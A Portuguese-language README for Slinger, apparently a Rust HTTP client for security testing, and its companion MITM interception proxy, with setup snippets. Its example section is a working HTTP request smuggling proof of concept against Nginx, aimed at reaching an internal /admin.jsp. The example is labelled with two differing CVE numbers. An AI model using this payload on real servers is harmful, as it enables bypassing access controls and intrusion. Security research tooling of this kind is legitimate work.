Sobre o Projeto

Product Name Screen Shot

Slinger é um workspace contendo:

slinger

A biblioteca principal de cliente HTTP para Rust projetada para hackers.

política de redirecionamento personalizável
proxies http/https e socks5/socks5h
armazenamento de cookies
requisição raw de socket
HTTPS via tls

slinger-mitm

Um proxy Man-in-the-Middle (MITM) com interceptação de tráfego HTTPS transparente, semelhante ao Burp Suite.

Geração automática de certificado CA com gerenciamento aprimorado de certificados (inspirado em hudsucker)
Cache de certificados para alta performance
Interceptação HTTPS transparente usando backend rustls
Interfaces de interceptação e modificação de tráfego
Números de série aleatórios e tratamento de skew de relógio
Reutiliza a implementação de Socket do slinger
Dependências externas mínimas

(voltar ao topo)

Começando

Usando slinger (Cliente HTTP)

Este exemplo habilita algumas funcionalidades opcionais, então seu Cargo.toml pode ficar assim:

[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

E então o código:

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Usando slinger-mitm (Proxy MITM)

Adicione ao seu Cargo.toml:

[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Código de exemplo:

use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Adiciona interceptor de logging
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Veja slinger-mitm/README.md para mais detalhes sobre o uso do proxy MITM.

Funcionalidades

Slinger suporta as seguintes funcionalidades opcionais:

tls - Funcionalidade TLS base (ativa tipos e interfaces TLS sem um backend específico)
rustls - Suporte HTTPS usando Rustls (requer tls, implementação pura em Rust)
http2 - Suporte ao protocolo HTTP/2 (requer um backend TLS)
cookie - Suporte ao tratamento de cookies
charset - Suporte à codificação de caracteres
serde - Suporte à serialização/desserialização
gzip - Suporte à compressão Gzip
schema - Suporte ao JSON Schema

Seleção de Backend TLS

Para usar TLS, você deve:

Habilitar a funcionalidade tls
Escolher o backend rustls, OU fornecer um conector TLS personalizado

Combinações de funcionalidades de exemplo:

# Usando backend rustls
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Usando backend TLS personalizado (requer implementar CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Backend TLS Personalizado (ex.: native-tls, OpenSSL)

Se você quiser usar native-tls, OpenSSL ou outras bibliotecas TLS, pode implementar um conector TLS personalizado. Veja o native_tls_example.rs para um exemplo completo de como integrar native-tls.

Exemplo

Nginx - Http Smuggling CVE-2019-20372

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// quando estiver usando o proxy BurpSuite, precisa **desabilitar** o cabeçalho **Connection** na requisição de entrada
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Para mais exemplos, consulte o exemplo

(voltar ao topo)

Contribuindo

Contribuições são o que tornam a comunidade open source um lugar incrível para aprender, inspirar e criar. Quaisquer contribuições que você fizer são muito apreciadas.

Se você tiver uma sugestão que possa melhorar isso, faça um fork do repositório e crie um pull request. Você também pode simplesmente abrir uma issue com a tag "enhancement". Não se esqueça de dar uma estrela ao projeto! Obrigado novamente!